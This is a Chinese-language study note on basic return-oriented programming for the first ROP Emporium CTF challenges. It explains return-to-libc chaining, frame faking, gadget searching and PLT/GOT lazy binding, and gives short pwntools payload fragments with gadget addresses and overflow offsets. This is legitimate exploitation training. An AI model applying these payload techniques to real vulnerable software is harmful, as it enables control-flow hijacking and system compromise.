<<基本ROP_ropemporium前三题

简单的ROP学习,没有开启PIE

Bypassing NX bit using chained return-to-libc

https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/

system address + exit address + system+args
exit相当于下一步地址,因为不是调用call, 不会压入下一步地址

chaining seteuid, system and exit

问题:
1 seteuid_arg should be zero
2 place function argument of both libc functions,,, a function argument of one libc function and an address of another libc function which is obviously not possible

seteuid_addr + system_addr + seteuid_addr / exit_addr + system_arg
seteuid_addr / exit_addr 这里冲突了,当然是可以舍弃exit的

解决问题2:
http://phrack.org/issues/58/4.html
ESP Lifting
Frame Faking

esp lifting technique binary should be compiled without frame pointer (-fomit-frame-pointer) support.

Frame Faking:

用“leave ret” instruction 覆盖返回地址

leave = mov esp,ebp ; pop ebp
ret = pop EIP

sMz61K.png

第一次执行leave;ret时,此时ebp已经是fake_ebp1的地址值,执行完leave后,esp是seteuid_addr的地址,ebp是fake_ebp2的地址值,执行ret后,将seteuid_addr推向eip,参数在ebp+0x4;之后同理,可以执行system()

解决问题1:
strcpy which copies a NULL byte into seteuid_arg’s stack location
using sprintf NULL byte is copied in to seteuid_arg’s stack location

ROP
system(“/bin/sh”)

push binsh_addr
call system

call system=
push eip+5
jmp system

所以栈中system地址要和参数隔四个字节,因为中间还要放返回地址

ROP

https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf

ROP定义:

utilizing small instruction sequences **available in either the binary or libraries linked to the application called **gadgets

ROP gadgets are small instruction sequences ending with a “ret” instruction “c3”.

The ROP gadget has to end with a “ret” to enable us to perform multiple sequences. Hence it is called** return oriented.**
所以才叫return , gadget后面都跟着ret

有用的gadget

1- We search the binary for all “ret” (c3) byte.
2- We go backwards to see if the previous byte contains a valid instruction. We reverse to the maximum number of bytes that can make a valid instruction (20 bytes).
3- We then record all valid instruction sequences found in the binary or linked libraries.

Loading a constant into register

POP eax; ret;

栈;
Address of POP EAX/RET gadget
0xdeadbeef
Address of next gadget

Loading from memory

mov ecx,[eax]; ret

Storing into memory

Mov [eax],ecx; ret

Arithmetic operations

add eax,0x0b; ret
xor edx,edx;ret

System call

int 0x80; ret
call gs:[0x10]; ret

命令:

what libs are linked to the binary
gdb:
info files

ps -aux | grep rop2
cat /proc/28119/maps

system call number of execve() is “11” or “0xb”
linux system call numbers in “/usr/include/i386-linux-gnu/asm/unistd_32.h “
grep execve

it wont affect the command “/bin/sh” is as
“/bin//sh”.

ROPradget --strings

学习ROP的练习平台ropemporium

https://ropemporium.com/index.html

起手式命令;;

Confirming protections

$ rabin2 -I <binary>
$ pwn checksec <binary>

Function names 符号表symbols

$ rabin2 -i <binary>

$ nm -u <binary>

$ nm ret2win|grep ' t '
Listing just those functions written by the programmer is harder, a rough approximation could be:

$ rabin2 -qs <binary> | grep -ve imp -e ' 0 '
-s              symbols
grep
-q              be quiet, just show fewer data
-v, --invert-match        select non-matching lines
-e, --regexp=PATTERNS     use PATTERNS for matching

Strings

查找程序中字符串

  1. strings -d ./ret2win32

  2. $ rabin2 -z split
    偏移地址都给出了

  3. ROPgadget --bianry --strings '/bin/sh'

dmesg [options]
Display or control the kernel ring buffer.
For a quick and dirty confirmation of how many bytes are needed to cause an overflow

题目::

https://blog.csdn.net/SmalOSnail/article/details/106619419
https://github.com/TaQini/rop_emporium/blob/master/tasks
大佬代码

https://github.com/Finsenty54/attack-code/tree/master/ROPemporium
我的解题代码

ret2win

p.sendlineafter('>',b'A'*40+p64(0x00400756))
不用考虑截断?? pwntools自行解决,厉害👍

split

32位
payload += p32(system) +b’a’*4+ p32(catflag)
中间应该再加四个字节,作为返回地址

64位下传参

[0x00400742]> pdf
┌ 17: sym.usefulFunction ();
│           0x00400742      55             push rbp
│           0x00400743      4889e5         mov rbp, rsp
│           0x00400746      bf4a084000     mov edi, str.bin_ls         ; 0x40084a ; "/bin/ls" ; const char *string
│           0x0040074b      e810feffff     call sym.imp.system         ; int system(const char *string)
│           0x00400750      90             nop
│           0x00400751      5d             pop rbp
└           0x00400752      c3             ret

字符串传到了 $edi

所以要报字符串地址传到RDI中
https://www.megabeets.net/a-journey-into-radare-2-part-2/#Searching
https://trustfoundry.net/basic-rop-techniques-and-tricks/

如何搜索gadget

https://ropemporium.com/guide.html
五种工具,我用了radare2 和 ROPgadget

radare2中

/R [?] — Search for ROP gadgets
/R/ — Search for ROP gadgets with a regular expressions

太暴力了

[0x00400742]> /R pop rdi
  0x004007c3                 5f  pop rdi
  0x004007c4                 c3  ret

ROPgadget

ROPgadget --binary | grep

callme

32位

ROPgadget --binary ./callme32 --only 'add esp'
callme1=p32(0x080484f0)
callme2=p32(0x08048550)
callme3=p32(0x080484e0)

addpopret=p32(0x080484aa)
#0x080484aa : add esp, 8 ; pop ebx ; ret
args1=p32(0xdeadbeef)
args2=p32(0xcafebabe)
args3=p32(0xd00df00d)

# rop1s
gadget=addpopret+args1+args2+args3
offset = 44
payload = b'A'*offset
payload += callme1+ gadget+  callme2+gadget+callme3+gadget

64位
64位下传参

│           0x0040091e      ba06000000     mov edx, 6
│           0x00400923      be05000000     mov esi, 5
│           0x00400928      bf04000000     mov edi, 4
│           0x0040092d      e8eefdffff     call sym.imp.callme_one

所以用
#0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

PLT 和 GOT.PLT

https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html
函数和变量作为符号被存在可执行文件中, 不同类型的符号又聚合在一起, 称为符号表

https://ropemporium.com/guide.html#Appendix%20A
how the PLT is used in lazy binding?
Lazy binding is a technique used by the dynamic linker
symbol lookups for function calls into shared objects are deferred until the first time a function is actually called.
对共享对象的函数调用的符号查找 只有当第一个函数真的调用时才查找
Two program sections are used to achieve this effect
theprocedure linkage table (.plt)and part of the global offset table (.got.plt).
Lazy binding may be disabled by setting the LD_BIND_NOW environment variable to a nonempty string or using the RTLD_NOW flag when calling dlopen().
The first time an external function is called it, must be resolved. After that, all calls to it will be passed straight through to the desired function
rabin2 -R relocations

.plt 节

https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
比如3 function stubs
take the form jmp; push; jmp;. Above the stubs a push; jmp;

► 0x8049030  <puts@plt>                  jmp    dword ptr [puts@got.plt] <0x804c00c> 

间接跳转

 pwndbg> x/wx 0x804c00c
 0x804c00c <puts@got.plt>:    0x08049036

   0x8049036  <puts@plt+6>                push   0
   0x804903b  <puts@plt+11>               jmp    0x8049020 <0x8049020>

it turns out that because we haven’t called puts before
还没有使用puts,跳转到got又跳回到下一命令
最后回到.plt表开头
0x8049020 push dword ptr [GLOBAL_OFFSET_TABLE+4] <0x804c004>
► 0x8049026 jmp dword ptr [0x804c008] <_dl_runtime_resolve>

pwndbg> x/2xw 0x804c004
0x804c004:    0xf7ffd980    0xf7fe9730

第一个在连接器数据段是link_map地址,第二个在连接器执行代码处是_dl_runtime_resolve地址
plt开头两个是来第一次运行时查地址的

因此, 实际上(第一次)调用puts@plt就相当于调用了
_dl_runtime_resolve((link_map *)m, 0)! 其中link_map提供了运行时的必要信息,
而0则是puts函数的偏移(在puts@plt中push 0x0).

resolve执行完后::
pwndbg> disass ‘puts@plt’
Dump of assembler code for function puts@plt:
0x08049030 <+0>: jmp DWORD PTR ds:0x804c00c
0x08049036 <+6>: push 0x0
0x0804903b <+11>: jmp 0x8049020
End of assembler dump.

pwndbg> x/wx 0x804c00c
0x804c00c <puts@got.plt>:    0xf7e303c0
pwndbg> info symbol 0xf7e303c0
puts in section .text of /lib/i386-linux-gnu/libc.so.6

找到puts的代码地址

攻击防御

防止写got.plt表
Enter relocations read-only, or RELRO.

a strategy was developed to allow looking up all of these addresses when the program was run and providing a mechanism to call these functions from libraries. This is known as relocation

.got

This is the GOT, or Global Offset Table. This is the actual table of offsets as filled in by the linker for external symbols.
.plt
This is the PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.)
.got.plt
This is the GOT for the PLT. It contains thetarget addresses(after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section

.GOT 开头包含实际地址,.plt开头是要跳转到目标
pwndbg> x/i $pc
=> 0x804845f <main+36>: call 0x8048300 <puts@plt>

.got.plt表内容
got0: 本ELF动态段(.dynamic段)的装载地址
got1: 本ELF的link_map数据结构描述符地址
got2: _dl_runtime_resolve函数的地址


__x86.get_pc_thunk.ax

objdump -d main_pi | grep “__x86.get_pc_thunk.ax” -A 2
000006ad <__x86.get_pc_thunk.ax>:
6ad: 8b 04 24 mov eax,DWORD PTR [esp]
6b0: c3 ret
作用就是把esp(即返回地址)的值保存在eax(PIC寄存器)中, 在接下来寻址用
详见https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

CTF-WIKI ROP

https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/
ROP

命令

gdb vmmap